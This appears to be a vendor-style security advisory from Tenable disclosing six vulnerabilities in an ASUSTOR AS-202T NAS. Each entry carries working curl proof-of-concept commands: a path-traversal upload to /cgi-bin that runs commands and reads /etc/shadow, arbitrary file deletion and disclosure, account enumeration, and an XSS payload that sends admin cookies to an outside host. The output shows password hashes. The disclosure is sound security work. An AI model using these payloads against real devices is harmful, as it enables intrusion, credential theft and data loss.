While researching an ASUSTOR AS-202T NAS, Tenable found multiple vulnerabilities.
CVE-2018-15694: Authenticated File Upload
An authenticated remote non-administrative attacker can upload a file anywhere on the target filesystem. The target will always name the uploaded file WallPaper_1.jpg. If the "Web Server" feature is enabled on the device then a remote unauthenticated attacker can achieve remote code execution by writing to /cgi-bin/.
$ curl -k -X POST -H 'Content-Type: multipart/form-data; boundary=-pwned-' --data-binary $'-pwned-\x0d\x0aContent-Disposition: form-data; filename=\"1.jpg\"\x0d\x0a\x0d\x0a#!/bin/sh\x0aecho -e \"Content-Type: text/plain\\n\\n\";id;uname -a;cat /etc/shadow\x0d\x0a-pwned-\x0d\x0a' $'https://192.168.1.10:8001/portal/apis/wallpaper/uploadwallpaper.cgi?sid=9dpDW4U9jUm.2HNb&act=upload&appdirpath=../../../share/Web/cgi-bin/'
{ "success": true }
$ curl -k http://192.168.1.10:80/cgi-bin/WallPaper_1.jpg
uid=999(admin) gid=999(administrators) groups=100(users),997(nvradmins),999(administrators)
Linux Clarke 3.10.70 #1 SMP Wed Jun 13 01:06:06 CST 2018 armv7l GNU/Linux
root:$1$WRyOw/55$eN4aG9y2Mc6GFsQ1SMLSm.:17599:0:99999:7:::
avahi:*:15259:0:99999:7:::
...
CVE-2018-15695: Authenticated Arbitrary File Deletion
An authenticated remote non-administrative user can delete any file on the filesystem due to a path traversal vulnerability in wallpaper.cgi.
$ curl -k "https://192.168.1.10:8001/portal/apis/wallpaper/wallpaper.cgi?sid=2LEyW3.EhAYUCWVF&act=removewallpaper&appdirpath=../../../tmp&file=test.file"
{ "success": true }
CVE-2018-15696: Authenticated Account Enumeration
An authenticated remote non-administrative user can enumerate all accounts on the device through user.cgi.
$ curl -s -k "https://192.168.1.10:8001/portal/apis/accessControl/user.cgi?sid=C8wyW20b6wYUz31g&act=list&start=0&limit=0&domain=0" | python -m json.tool
{
"datas": [
{
"description": "guest",
"email": "",
"group": "-",
"name": "guest",
"primary_gid": 65534,
"status": "Inactive",
"uid": 998
},
{
"description": "Admin",
"email": "",
"group": "administrators",
"name": "admin",
"primary_gid": 999,
"status": "Active",
"uid": 999
},
{
"description": "",
"email": "",
"group": "users",
"name": "courtney",
"primary_gid": 100,
"status": "Active",
"uid": 1000
},
{
"description": "",
"email": "",
"group": "users",
"name": "lab",
"primary_gid": 100,
"status": "Active",
"uid": 1001
}
],
"success": true,
"total": 4
}
CVE-2018-15697: Authenticated File Disclosure
An authenticated remote non-administrative user can access files in a NAS share by specifying the full file path in a request to downloadwallpaper.cgi. In the following example, the bash history file is read from /home/admin/.
$ curl -k 'https://192.168.1.10:8001/portal/apis/wallpaper/downloadwallpaper.cgi?act=download&folder=/home/admin&file=.ash_history&sid=28tDW5U-Ukn7MgAN'
id
ps ax
netstat -an
netstat -a
netstat -tulpn
fuser
fuser 51417/tcp
pstree
uname -a
ls
ps ax
netstat -lupn
su -i
sudo -i
exit
CVE-2018-15698: Authenticated File Disclosure
A remote authenticated administrative user can read the contents of any file on the remote target by sending a request to loginimage.cgi.
$ curl -k "https://192.168.1.10:8001/portal/apis/settings/loginimage.cgi?sid=4K4yW-gqeQazweZ0&act=preview&file=/etc/shadow"
root:$1$WRyOw/55$eN4aG9y2Mc6GFsQ1SMLSm.:17599:0:99999:7:::
CVE-2018-15699: MITM XSS
When a remote administrative user first authenticates the NAS executes a wget to http://update.asustor.com/adm_update.php?architecture=armv7l&model=AS1004T&version=3.1.0.RFQ3&initialized=true and parses the result as a .conf file. The following is an example file:
[AS10XX]
ModelName = AS10XXT
Version = 3.1.4.RID1
ReleaseDate = 2018/06/14
ReleaseNote = http://download.asustor.com/download/docs/releasenotes/RN_ADM_3.1.4.RID1.pdf
DownloadLink = http://download.asustor.com/download/adm/ARM_3.1.4.RID1.img
A man in the middle can modify the version field in order to inject Javascript that steals the administrator's credentials. For example:
Version = pwnme<img src='http://192.168.1.237/pwn?c=' onerror='i=new Image(); i.src=this.src+document.cookie;'/>